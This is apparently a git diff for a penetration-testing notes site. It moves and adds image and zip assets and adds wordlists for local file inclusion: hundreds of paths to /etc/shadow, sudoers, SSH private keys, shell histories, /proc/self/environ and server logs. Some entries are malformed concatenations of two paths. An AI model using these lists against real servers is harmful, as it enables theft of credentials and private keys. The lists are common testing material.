rename from src/images/image (820).png
rename to .gitbook/assets/image (62).png
diff --git a/src/images/image (553).png b/.gitbook/assets/image (63).png
similarity index 100%
rename from src/images/image (553).png
rename to .gitbook/assets/image (63).png
diff --git a/src/images/image (423).png b/.gitbook/assets/image (64).png
similarity index 100%
rename from src/images/image (423).png
rename to .gitbook/assets/image (64).png
diff --git a/.gitbook/assets/image (65).png b/.gitbook/assets/image (65).png
new file mode 100644
index 00000000000..cc0ab38f614
Binary files /dev/null and b/.gitbook/assets/image (65).png differ
diff --git a/src/images/image (1016).png b/.gitbook/assets/image (66).png
similarity index 100%
rename from src/images/image (1016).png
rename to .gitbook/assets/image (66).png
diff --git a/src/images/image (80).png b/.gitbook/assets/image (67) (1).png
similarity index 100%
rename from src/images/image (80).png
rename to .gitbook/assets/image (67) (1).png
diff --git a/.gitbook/assets/image (67).png b/.gitbook/assets/image (67).png
new file mode 100644
index 00000000000..3637385a25b
Binary files /dev/null and b/.gitbook/assets/image (67).png differ
diff --git a/src/images/image (625).png b/.gitbook/assets/image (68).png
similarity index 100%
rename from src/images/image (625).png
rename to .gitbook/assets/image (68).png
diff --git a/src/images/image (868).png b/.gitbook/assets/image (69).png
similarity index 100%
rename from src/images/image (868).png
rename to .gitbook/assets/image (69).png
diff --git a/src/images/image (973).png b/.gitbook/assets/image (7).png
similarity index 100%
rename from src/images/image (973).png
rename to .gitbook/assets/image (7).png
diff --git a/src/images/image (1098).png b/.gitbook/assets/image (70).png
similarity index 100%
rename from src/images/image (1098).png
rename to .gitbook/assets/image (70).png
diff --git a/.gitbook/assets/image (71).png b/.gitbook/assets/image (71).png
new file mode 100644
index 00000000000..170014511ce
Binary files /dev/null and b/.gitbook/assets/image (71).png differ
diff --git a/src/images/image (450).png b/.gitbook/assets/image (72).png
similarity index 100%
rename from src/images/image (450).png
rename to .gitbook/assets/image (72).png
diff --git a/src/images/image (692).png b/.gitbook/assets/image (73).png
similarity index 100%
rename from src/images/image (692).png
rename to .gitbook/assets/image (73).png
diff --git a/src/images/image (715).png b/.gitbook/assets/image (74).png
similarity index 100%
rename from src/images/image (715).png
rename to .gitbook/assets/image (74).png
diff --git a/src/images/image (919).png b/.gitbook/assets/image (75).png
similarity index 100%
rename from src/images/image (919).png
rename to .gitbook/assets/image (75).png
diff --git a/src/images/image (345).png b/.gitbook/assets/image (76).png
similarity index 100%
rename from src/images/image (345).png
rename to .gitbook/assets/image (76).png
diff --git a/src/images/image (843).png b/.gitbook/assets/image (77).png
similarity index 100%
rename from src/images/image (843).png
rename to .gitbook/assets/image (77).png
diff --git a/src/images/image (813).png b/.gitbook/assets/image (78).png
similarity index 100%
rename from src/images/image (813).png
rename to .gitbook/assets/image (78).png
diff --git a/.gitbook/assets/image (79) (1).png b/.gitbook/assets/image (79) (1).png
new file mode 100644
index 00000000000..61cc78589be
Binary files /dev/null and b/.gitbook/assets/image (79) (1).png differ
diff --git a/.gitbook/assets/image (79).png b/.gitbook/assets/image (79).png
new file mode 100644
index 00000000000..61cc78589be
Binary files /dev/null and b/.gitbook/assets/image (79).png differ
diff --git a/src/images/image (336).png b/.gitbook/assets/image (8).png
similarity index 100%
rename from src/images/image (336).png
rename to .gitbook/assets/image (8).png
diff --git a/src/images/image (93).png b/.gitbook/assets/image (80).png
similarity index 100%
rename from src/images/image (93).png
rename to .gitbook/assets/image (80).png
diff --git a/src/images/image (1049).png b/.gitbook/assets/image (81).png
similarity index 100%
rename from src/images/image (1049).png
rename to .gitbook/assets/image (81).png
diff --git a/.gitbook/assets/image (82).png b/.gitbook/assets/image (82).png
new file mode 100644
index 00000000000..8f1f2230b3c
Binary files /dev/null and b/.gitbook/assets/image (82).png differ
diff --git a/src/images/image (441).png b/.gitbook/assets/image (83).png
similarity index 100%
rename from src/images/image (441).png
rename to .gitbook/assets/image (83).png
diff --git a/.gitbook/assets/image (84).png b/.gitbook/assets/image (84).png
new file mode 100644
index 00000000000..1e4d4e8ff27
Binary files /dev/null and b/.gitbook/assets/image (84).png differ
diff --git a/src/images/image (241).png b/.gitbook/assets/image (85).png
similarity index 100%
rename from src/images/image (241).png
rename to .gitbook/assets/image (85).png
diff --git a/.gitbook/assets/image (86).png b/.gitbook/assets/image (86).png
new file mode 100644
index 00000000000..af912ceb716
Binary files /dev/null and b/.gitbook/assets/image (86).png differ
diff --git a/.gitbook/assets/image (87).png b/.gitbook/assets/image (87).png
new file mode 100644
index 00000000000..8ce264e585e
Binary files /dev/null and b/.gitbook/assets/image (87).png differ
diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (88).png
similarity index 100%
rename from src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
rename to .gitbook/assets/image (88).png
diff --git a/.gitbook/assets/image (89).png b/.gitbook/assets/image (89).png
new file mode 100644
index 00000000000..d8f477bdffc
Binary files /dev/null and b/.gitbook/assets/image (89).png differ
diff --git a/src/images/image (337).png b/.gitbook/assets/image (9).png
similarity index 100%
rename from src/images/image (337).png
rename to .gitbook/assets/image (9).png
diff --git a/.gitbook/assets/image (90).png b/.gitbook/assets/image (90).png
new file mode 100644
index 00000000000..7385774fee3
Binary files /dev/null and b/.gitbook/assets/image (90).png differ
diff --git a/src/images/image (446).png b/.gitbook/assets/image (91).png
similarity index 100%
rename from src/images/image (446).png
rename to .gitbook/assets/image (91).png
diff --git a/src/images/image (1009).png b/.gitbook/assets/image (92).png
similarity index 100%
rename from src/images/image (1009).png
rename to .gitbook/assets/image (92).png
diff --git a/.gitbook/assets/image (93).png b/.gitbook/assets/image (93).png
new file mode 100644
index 00000000000..c4bf20c0fb0
Binary files /dev/null and b/.gitbook/assets/image (93).png differ
diff --git a/.gitbook/assets/image (94).png b/.gitbook/assets/image (94).png
new file mode 100644
index 00000000000..7ebf7f05bd9
Binary files /dev/null and b/.gitbook/assets/image (94).png differ
diff --git a/.gitbook/assets/image (95) (1) (1).png b/.gitbook/assets/image (95) (1) (1).png
new file mode 100644
index 00000000000..8f24feb6fab
Binary files /dev/null and b/.gitbook/assets/image (95) (1) (1).png differ
diff --git a/.gitbook/assets/image (95) (1).png b/.gitbook/assets/image (95) (1).png
new file mode 100644
index 00000000000..8f24feb6fab
Binary files /dev/null and b/.gitbook/assets/image (95) (1).png differ
diff --git a/src/images/image (826).png b/.gitbook/assets/image (95).png
similarity index 100%
rename from src/images/image (826).png
rename to .gitbook/assets/image (95).png
diff --git a/src/images/image (153).png b/.gitbook/assets/image (96).png
similarity index 100%
rename from src/images/image (153).png
rename to .gitbook/assets/image (96).png
diff --git a/src/images/image (490).png b/.gitbook/assets/image (97).png
similarity index 100%
rename from src/images/image (490).png
rename to .gitbook/assets/image (97).png
diff --git a/src/images/image (351).png b/.gitbook/assets/image (98).png
similarity index 100%
rename from src/images/image (351).png
rename to .gitbook/assets/image (98).png
diff --git a/src/images/image (853).png b/.gitbook/assets/image (99).png
similarity index 100%
rename from src/images/image (853).png
rename to .gitbook/assets/image (99).png
diff --git a/src/images/image (687).png b/.gitbook/assets/image.png
similarity index 100%
rename from src/images/image (687).png
rename to .gitbook/assets/image.png
diff --git a/src/images/img10.png b/.gitbook/assets/img10.png
similarity index 100%
rename from src/images/img10.png
rename to .gitbook/assets/img10.png
diff --git a/src/images/img11.png b/.gitbook/assets/img11.png
similarity index 100%
rename from src/images/img11.png
rename to .gitbook/assets/img11.png
diff --git a/src/images/img12.png b/.gitbook/assets/img12.png
similarity index 100%
rename from src/images/img12.png
rename to .gitbook/assets/img12.png
diff --git a/src/images/img9.png b/.gitbook/assets/img9.png
similarity index 100%
rename from src/images/img9.png
rename to .gitbook/assets/img9.png
diff --git a/.gitbook/assets/ine (1).png b/.gitbook/assets/ine (1).png
new file mode 100644
index 00000000000..c4828046ae6
Binary files /dev/null and b/.gitbook/assets/ine (1).png differ
diff --git a/.gitbook/assets/ine.png b/.gitbook/assets/ine.png
new file mode 100644
index 00000000000..c4828046ae6
Binary files /dev/null and b/.gitbook/assets/ine.png differ
diff --git a/.gitbook/assets/ine_logo-1-.jpg b/.gitbook/assets/ine_logo-1-.jpg
new file mode 100644
index 00000000000..4d978faa6a1
Binary files /dev/null and b/.gitbook/assets/ine_logo-1-.jpg differ
diff --git a/.gitbook/assets/ine_logo-2-.jpg b/.gitbook/assets/ine_logo-2-.jpg
new file mode 100644
index 00000000000..65368fd3d56
Binary files /dev/null and b/.gitbook/assets/ine_logo-2-.jpg differ
diff --git a/.gitbook/assets/ine_logo-3-.jpg b/.gitbook/assets/ine_logo-3-.jpg
new file mode 100644
index 00000000000..7b3d4c331a6
Binary files /dev/null and b/.gitbook/assets/ine_logo-3-.jpg differ
diff --git a/.gitbook/assets/ine_logo.jpg b/.gitbook/assets/ine_logo.jpg
new file mode 100644
index 00000000000..9f6a05dace8
Binary files /dev/null and b/.gitbook/assets/ine_logo.jpg differ
diff --git a/src/images/intruder4 (1) (1).gif b/.gitbook/assets/intruder4 (1) (1) (1).gif
similarity index 100%
rename from src/images/intruder4 (1) (1).gif
rename to .gitbook/assets/intruder4 (1) (1) (1).gif
diff --git a/.gitbook/assets/intruder4 (1) (1).gif b/.gitbook/assets/intruder4 (1) (1).gif
new file mode 100644
index 00000000000..75ac066e3db
Binary files /dev/null and b/.gitbook/assets/intruder4 (1) (1).gif differ
diff --git a/.gitbook/assets/legion (1).zip b/.gitbook/assets/legion (1).zip
new file mode 100644
index 00000000000..1213031093d
Binary files /dev/null and b/.gitbook/assets/legion (1).zip differ
diff --git a/.gitbook/assets/legion (2).zip b/.gitbook/assets/legion (2).zip
new file mode 100644
index 00000000000..91a2a7ac0a6
Binary files /dev/null and b/.gitbook/assets/legion (2).zip differ
diff --git a/.gitbook/assets/legion.zip b/.gitbook/assets/legion.zip
new file mode 100644
index 00000000000..1213031093d
Binary files /dev/null and b/.gitbook/assets/legion.zip differ
diff --git a/.gitbook/assets/lfi (1).txt b/.gitbook/assets/lfi (1).txt
new file mode 100644
index 00000000000..28a6c9284a8
--- /dev/null
+++ b/.gitbook/assets/lfi (1).txt
@@ -0,0 +1,249 @@
+/apache/logs/access.log
+/apache/logs/error.log
+/apachephpphp.ini
+/bin/php.ini
+/ect/hostname
+/etc/apache2/conf/httpd.conf
+/etc/apache2/httpd.conf
+/etc/apache/conf/httpd.conf
+/etc/chrootUsersvar/log/xferlog
+/etc/crontab
+/etc/dovecot/dovecot.passwd
+/etc/fstab
+/etc/ftpchroot
+/etc/ftphosts
+/etc/group
+/etc/hosts
+/etc/httpd.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/conf/httpd.confetc/http/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/access.log
+/etc/httpd/logs/access_logetc/httpd/logs/error_log
+/etc/httpd/logs/access.logProgramFilesApacheGroupApachelogsaccess.log
+/etc/httpd/logs/error.log
+/etc/httpd/php.ini
+/etc/http/httpd.conf
+/etc/issue
+/etc/logrotate.d/ftp
+/etc/logrotate.d/proftpdwww/logs/proftpd.system.log
+/etc/logrotate.d/vsftpd.log
+/etc/motd
+/etc/motdetc/passwd
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/netconfig
+/etc/passwd
+/etc/php4.4/fcgi/php.inietc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/cgi/php.ini
+/etc/php/apache2/php.ini
+/etc/php/php4/php.inietc/php/apache/php.ini
+/etc/php/php.ini
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/modules.confvar/log/vsftpd.log
+/etc/protpd/proftpd.conf
+/etc/pure-ftpd.conf
+/etc/pureftpd.pdbetc/pureftpd.passwd
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/pureftpd.pdb
+/etc/security/environetc/security/limits
+/etc/security/group
+/etc/security/passwd
+/etc/security/user
+/etc/shadow
+/etc/sudoers
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/home2binstableapachephp.inihomebinstableapachephp.ini
+/logs/access_log
+/logs/access.loglogs/error_log
+/logs/error.log
+/logs/pure-ftpd.log
+/NetServerbinstableapachephp.ini
+/opt/apache/conf/httpd.confopt/apache2/conf/httpd.conf
+/opt/lampp/logs/access_logopt/lampp/logs/access.log
+/opt/lampp/logs/error_log
+/opt/lampp/logs/error.logopt/xampp/logs/access_log
+/opt/xampp/etc/php.ini
+/opt/xampp/logs/access.log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+/php4php.ini
+/php5php.ini
+/phpphp.ini
+/PHPphp.ini
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.defaultVolumes/webBackup/opt/apache2/conf/httpd.conf
+/proc/cmdline
+/proc/mounts
+/proc/net/arp
+/proc/net/route
+/proc/net/tcp
+/proc/net/udp
+/proc/sched_debug
+/proc/self/cmdline
+/proc/self/environ
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/10
+/proc/self/fd/11
+/proc/self/fd/12
+/proc/self/fd/13
+/proc/self/fd/14
+/proc/self/fd/15
+/proc/self/fd/16
+/proc/self/fd/17
+/proc/self/fd/18
+/proc/self/fd/19
+/proc/self/fd/2
+/proc/self/fd/20
+/proc/self/fd/21
+/proc/self/fd/22
+/proc/self/fd/23
+/proc/self/fd/24
+/proc/self/fd/25
+/proc/self/fd/26
+/proc/self/fd/27
+/proc/self/fd/28
+/proc/self/fd/29
+/proc/self/fd/3
+/proc/self/fd/30
+/proc/self/fd/31
+/proc/self/fd/32
+/proc/self/fd/33
+/proc/self/fd/34
+/proc/self/fd/35
+/proc/self/fd/36
+/proc/self/fd/4proc/self/fd/5
+/proc/self/fd/6
+/proc/self/fd/7
+/proc/self/fd/8
+/proc/self/fd/9
+/proc/self/stat
+/proc/self/status
+/proc/self/statvar/log/apache2/error_log
+/proc/version
+/ProgramFilesApacheGroupApache2confhttpd.confProgramFilesxamppapacheconfhttpd.conf
+/ProgramFilesApacheGroupApachelogserror.logusr/local/apache2/conf/httpd.conf
+/root/.bash_history
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/lib/security/mkuser.default
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/logs/access_logusr/local/apache2/logs/access.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/error.logvar/log/access_log
+/usr/local/apache/conf/php.ini
+/usr/local/apache/httpd.confusr/local/apache2/httpd.conf
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/access.logusr/local/apache/logs/error_log
+/usr/local/apache/logs/error.log
+/usr/local/apps/apache2/conf/httpd.confusr/local/apps/apache/conf/httpd.conf
+/usr/local/cpanel/logs
+/usr/local/cpanel/logs/error_log
+/usr/local/cpanel/logs/license_log
+/usr/local/cpanel/logs/login_logusr/local/cpanel/logs/stats_log
+/usr/local/cpanel/logs/stats_logusr/local/cpanel/logs/access_log
+/usr/local/etc/apache2/conf/httpd.confusr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.confusr/local/apache/conf/httpd.conf
+/usr/local/etc/apache/vhosts.confetc/php.ini
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/httpd/conf/httpd.conf
+/usr/local/lib/php.iniusr/local/php/lib/php.ini
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.phpusr/local/php/httpd.conf
+/usr/local/php5/lib/php.ini
+/usr/local/php/httpd.conf.php
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdbusr/local/pureftpd/sbin/pure-config.pl
+/usr/local/Zend/etc/php.ini
+/usr/pkgsrc/net/pureftpd/usr/ports/contrib/pure-ftpd/
+/usr/ports/ftp/pure-ftpd/
+/usr/ports/net/pure-ftpd/
+/usr/sbin/pure-config.plusr/etc/pure-ftpd.conf
+/var/adm/log/xferlog
+/var/cpanel/cpanel.config
+/var/lib/mysql/my.cnf
+/var/local/www/conf/php.inietc/php/cgi/php.ini
+/var/log/access.log
+/var/log/apache2/access.log
+/var/log/apache2/access_logvar/log/httpd/error_log
+/var/log/apache/error.log
+/var/log/cron.logvar/log/couchdb/couch.log
+/var/log/dmessage
+/var/log/error_log
+/var/log/error.logvar/log/apache/access_log
+/var/log/exim4/mainlog
+/var/log/exim4_mainlog
+/var/log/exim4/paniclog
+/var/log/exim_mainlog
+/var/log/exim/mainlogvar/log/maillog
+/var/log/exim/paniclog
+/var/log/exim_paniclog
+/var/log/exim/rejectlog
+/var/log/exim_rejectlog
+/var/log/ftplog
+/var/log/ftp-proxy/ftp-proxy.logvar/log/ftp-proxy
+/var/log/httpd/access.log
+/var/log/httpd/access_log
+/var/log/httpd/error.log
+/var/log/mail
+/var/log/mail.log
+/var/log/messages
+/var/log/mysqlderror.logvar/log/mysql/mysql.log
+/var/log/mysql.log
+/var/log/mysql/mysql-bin.log
+/var/log/mysql/mysql-slow.log
+/var/log/news
+/var/log/nginx/access.logproc/self/cmdline
+/var/log/postgresql/postgresql-10-main.logvar/log/apache2/error.log
+var/log/postgresql/postgresql-9.6-mail.log
+/var/log/proftpd
+/var/log/pureftpd.log
+/var/log/pure-ftpd/pure-ftpd.log
+/var/log/qmail
+/var/log/redis/redis-server.log
+/var/log/samba/log.smbd
+/var/log/smtpd
+/var/log/spooler
+/var/log/syslog
+/var/log/telnetd
+/var/mail/root
+/var/mysql.log
+/var/spool/cron/crontabs/root
+/var/www/conf/httpd.conf
+/var/www/logs/access_logvar/www/logs/access.log
+/var/www/logs/error.log
+/var/www/logs/error_log
+/var/www/mgr/logs/access.log
+/var/www/mgr/logs/error_log
+/var/www/mgr/logs/error.logvar/www/mgr/logs/access_log
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.confVolumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.phpVolumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.defaultProgramFilesApacheGroupApacheconfhttpd.conf
+/web/conf/php.ini
+/WINDOWSphp.iniWINNTphp.ini
+/xamppapachebinphp.ini
diff --git a/.gitbook/assets/lfi (2).txt b/.gitbook/assets/lfi (2).txt
new file mode 100644
index 00000000000..57214136334
--- /dev/null
+++ b/.gitbook/assets/lfi (2).txt
@@ -0,0 +1 @@
+423
diff --git a/.gitbook/assets/lfi (3).txt b/.gitbook/assets/lfi (3).txt
new file mode 100644
index 00000000000..dd887237f70
--- /dev/null
+++ b/.gitbook/assets/lfi (3).txt
@@ -0,0 +1,430 @@
+/apache/logs/access.log
+/apache/logs/access_log
+/apache/logs/error.log
+/apache/logs/error_log
+~/.atfp_history
+~/.bash_history
+~/.bash_logout
+~/.bash_profile
+~/.bashrc
+/bin/php.ini
+/defaultVolumes/webBackup/opt/apache2/conf/httpd.conf
+/etc/anaconda-ks.cfg
+/etc/anacrontab
+/etc/apache2/apache2.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache/conf/httpd.conf
+/etc/at.allow
+/etc/at.deny
+/etc/bashrc
+/etc/bootptab
+/etc/centos-release
+/etc/cesi.conf
+/etc/chrootUsers
+/etc/chrootUsersvar/log/xferlog
+/etc/chttp.conf
+/etc/cron.allow
+/etc/cron.deny
+/etc/crontab
+/etc/cups/cupsd.conf
+/etc/debconf.conf
+/etc/debian_version
+/etc/dovecot/dovecot.passwd
+/etc/environment
+/etc/fstab
+/etc/ftpaccess
+/etc/groups
+/etc/grub.conf
+/etc/gshadow
+/etc/hostapd.conf
+/etc/hostname
+/etc/hosts.allow
+/etc/hosts.deny
+/etc/http/conf/httpd.conf
+/etc/httpd/access.conf
+/etc/httpd.conf
+/etc/httpd/srm.conf
+/etc/http/httpd.conf
+/etc/inetd.conf
+/etc/inittab
+/etc/lighttpd.conf
+/etc/lilo.conf
+/etc/logrotate.d/proftpd
+/etc/logrotate.d/proftpdwww/logs/proftpd.system.log
+/etc/lsb-release
+/etc/master.passwd
+/etc/modules.conf
+/etc/motdetc/passwd
+/etc/mtab
+/etc/my.conf
+/etc/mysql/user.MYD
+/etc/netconfig
+/etc/network/interfaces
+/etc/networks
+/etc/npasswd
+/etc/ntp.conf
+/etc/os-release
+/etc/php4.4/fcgi/php.ini
+/etc/php4.4/fcgi/php.inietc/php4/apache/php.ini
+/etc/php4/apache/php.ini
+/etc/php5/cgi/php.ini
+/etc/php/apache/php.ini
+/etc/php/cgi/php.ini
+/etc/php.ini
+/etc/php/php4/php.ini
+/etc/php/php4/php.inietc/php/apache/php.ini
+/etc/polkit-1/localauthority.conf.d/50-localauthority.conf
+/etc/polkit-1/localauthority.conf.d/51-debian-sudo.conf
+/etc/printcap
+/etc/proftpd/modules.confvar/log/vsftpd.log
+/etc/proftpd/proftpd.conf
+/etc/protocols
+/etc/protpd/proftpd.conf
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/pureftpd.pdbetc/pureftpd.passwd
+/etc/pure-ftpd/pureftpd.pdb
+/etc/pure-ftpd/putreftpd.pdb
+/etc/rsyncd.conf
+/etc/rsyslog.conf
+/etc/redhat-release
+/etc/samba/smb.conf
+/etc/security/environetc/security/limits
+/etc/security/group
+/etc/security/passwd
+/etc/security/user
+/etc/services
+/etc/shells
+/etc/snmpd.conf
+/etc/ssh/ssh_host_ecdsa_key
+/etc/ssh/ssh_host_ecdsa_key.pub
+/etc/ssh/ssh_host_key
+/etc/ssh/ssh_host_key.pub
+/etc/ssh/ssh_host_rsa_key
+/etc/ssh/ssh_host_rsa_key.pub
+/etc/sudoers
+/etc/supervisord.conf
+/etc/sysconfig/network
+/etc/sysctl.conf
+/etc/syslog.conf
+/etc/system-release
+/etc/termcap
+/etc/timezone
+/etc/tomcat/tomcat-users.xml
+/etc/updatedb.conf
+~/.gtkrc
+/local/apache2/conf/httpd.conf
+/log/apache2/error_log
+~/.login
+~/.logout
+/logs/access.log
+/logs/access_log
+/logs/error.log
+/logs/error_log
+/logs/security_debug_log
+/logs/security_log
+~/.mysql_history
+~/.nano_history
+/opt/apache2/conf/httpd.conf
+/opt/apache/conf/httpd.conf
+/opt/lampp/etc/httpd.conf
+/opt/lampp/logs/access.log
+/opt/lampp/logs/access_log
+/opt/lampp/logs/error_log
+/opt/lampp/logs/error.logopt
+/opt/xampp/logs/access.log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+/php4php.ini
+/php5php.ini
+~/.php_history
+/phpphp.ini
+/PHPphp.ini
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.
+/proc/cpuinfo
+/proc/filesystems
+/proc/interrupts
+/proc/ioports
+/proc/meminfo
+/proc/modules
+/proc/self/cmdline
+/proc/self/cwd/index.php
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/10
+/proc/self/fd/100
+/proc/self/fd/11
+/proc/self/fd/12
+/proc/self/fd/13
+/proc/self/fd/14
+/proc/self/fd/15
+/proc/self/fd/16
+/proc/self/fd/17
+/proc/self/fd/18
+/proc/self/fd/19
+/proc/self/fd/2
+/proc/self/fd/20
+/proc/self/fd/21
+/proc/self/fd/22
+/proc/self/fd/23
+/proc/self/fd/24
+/proc/self/fd/25
+/proc/self/fd/26
+/proc/self/fd/27
+/proc/self/fd/28
+/proc/self/fd/29
+/proc/self/fd/3
+/proc/self/fd/30
+/proc/self/fd/31
+/proc/self/fd/32
+/proc/self/fd/33
+/proc/self/fd/34
+/proc/self/fd/35
+/proc/self/fd/36
+/proc/self/fd/37
+/proc/self/fd/38
+/proc/self/fd/39
+/proc/self/fd/4
+/proc/self/fd/41
+/proc/self/fd/42
+/proc/self/fd/43
+/proc/self/fd/44
+/proc/self/fd/45
+/proc/self/fd/46
+/proc/self/fd/47
+/proc/self/fd/48
+/proc/self/fd/49
+/proc/self/fd/5
+/proc/self/fd/51
+/proc/self/fd/52
+/proc/self/fd/53
+/proc/self/fd/54
+/proc/self/fd/55
+/proc/self/fd/56
+/proc/self/fd/57
+/proc/self/fd/58
+/proc/self/fd/59
+/proc/self/fd/6
+/proc/self/fd/61
+/proc/self/fd/62
+/proc/self/fd/63
+/proc/self/fd/64
+/proc/self/fd/65
+/proc/self/fd/66
+/proc/self/fd/67
+/proc/self/fd/68
+/proc/self/fd/69
+/proc/self/fd/7
+/proc/self/fd/71
+/proc/self/fd/72
+/proc/self/fd/73
+/proc/self/fd/74
+/proc/self/fd/75
+/proc/self/fd/76
+/proc/self/fd/77
+/proc/self/fd/78
+/proc/self/fd/79
+/proc/self/fd/8
+/proc/self/fd/81
+/proc/self/fd/82
+/proc/self/fd/83
+/proc/self/fd/84
+/proc/self/fd/85
+/proc/self/fd/86
+/proc/self/fd/87
+/proc/self/fd/88
+/proc/self/fd/89
+/proc/self/fd/9
+/proc/self/fd/91
+/proc/self/fd/92
+/proc/self/fd/93
+/proc/self/fd/94
+/proc/self/fd/95
+/proc/self/fd/96
+/proc/self/fd/97
+/proc/self/fd/98
+/proc/self/fd/99
+/proc/self/net/arp
+/proc/self/stat
+/proc/self/status
+/proc/self/statvar
+/proc/stat
+/proc/swaps
+~/.profile
+/root/anaconda-ks.cfg
+/root/.bash_history
+/root/.ssh/authorized_hosts
+/root/.ssh/authorized_keys
+/root/.ssh/id_dsa
+/root/.ssh/id_rsa
+/root/.ssh/known_hosts
+~/.ssh/authorized_keys
+~/.ssh/id_dsa
+~/.ssh/id_dsa.pub
+~/.ssh/identity
+~/.ssh/identity.pub
+~/.ssh/id_rsa
+~/.ssh/id_rsa.pub
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/usr/etc/pure-ftpd.conf
+/usr/lib/security/mkuser.default
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/log/error_log
+/usr/local/apache2/logs/access_logusr/local/apache2/logs/access.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/error.logvar/log/access_log
+/usr/local/apache/audit_log
+/usr/local/apache/conf/modsec.conf
+/usr/local/apache/error.log
+/usr/local/apache/error_log
+/usr/local/apache/httpd.confusr/local/apache2/httpd.conf
+/usr/local/apache/log
+/usr/local/apache/log/error_log
+/usr/local/apache/logs
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/access.logusr/local/apache/logs/error_log
+/usr/local/apache/logs/error.log
+/usr/local/apps/apache2/conf/httpd.confusr/local/apps/apache/conf/httpd.conf
+/usr/local/cpanel/logs/access_log
+/usr/local/cpanel/logs/login_log
+/usr/local/cpanel/logs/login_logusr/local/cpanel/logs/stats_log
+/usr/local/cpanel/logs/stats_log
+/usr/local/cpanel/logs/stats_logusr/local/cpanel/logs/access_log
+/usr/local/etc/apache2/conf/httpd.confusr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.confusr/local/apache/conf/httpd.conf
+/usr/local/etc/apache/vhosts.confetc/php.ini
+/usr/local/etc/httpd/logs/access_log
+/usr/local/etc/httpd/logs/error_log
+/usr/local/httpd/conf/httpd.conf
+/usr/local/lib/php.ini
+/usr/local/lib/php.iniusr/local/php/lib/php.ini
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/httpd.conf.phpusr/local/php/httpd.conf
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.ini
+/usr/local/php/httpd.conf.php
+/usr/local/php/lib/php.ini
+/usr/local/pureftpd/etc/pureftpd.pdbusr/local/pureftpd/sbin/pure-config.pl
+/usr/local/pureftpd/etc/pureftpd.pdn
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/www/logs/httpd_log
+/usr/pkgsrc/net/pureftpd/usr/ports/contrib/pure-ftpd/
+/usr/ports/ftp/pure-ftpd/
+/usr/ports/net/pure-ftpd/
+/usr/sbin/pure-config.pl
+/usr/sbin/pure-config.plusr/etc/pure-ftpd.conf
+/usr/var/lib/mysql/debian.cnf
+/usr/var/lib/mysql/my.cnf
+/usr/var/lib/mysql/user.MYD
+/var/apache2/config.inc
+/var/apache/logs/access_log
+/var/apache/logs/error_log
+/var/htmp
+/var/lib/mysql/debian.cnf
+/var/lib/mysql/mysql/user.MYD
+/var/lib/mysql/user.MYD
+/var/local/www/conf/php.ini
+/var/local/www/conf/php.inietc/php/cgi/php.ini
+/var/log/access.log
+/var/log/apache2/access_log
+/var/log/apache2/access_logvar/log/httpd/error_log
+/var/log/apache2/error.log
+/var/log/apache2/error_log
+/var/log/apache/access_log
+/var/log/apache/error_log
+/var/log/apache-ssl/access.log
+/var/log/apache-ssl/error.log
+/var/log/auth.log
+/var/log/boot
+/var/log/chttp.log
+/var/log/cron.logvar/log/couchdb/couch.log
+/var/log/cups/error.log
+/var/log/daemon.log
+/var/log/debug
+/var/log/dmesg
+/var/log/dmessage
+/var/log/dpkg.log
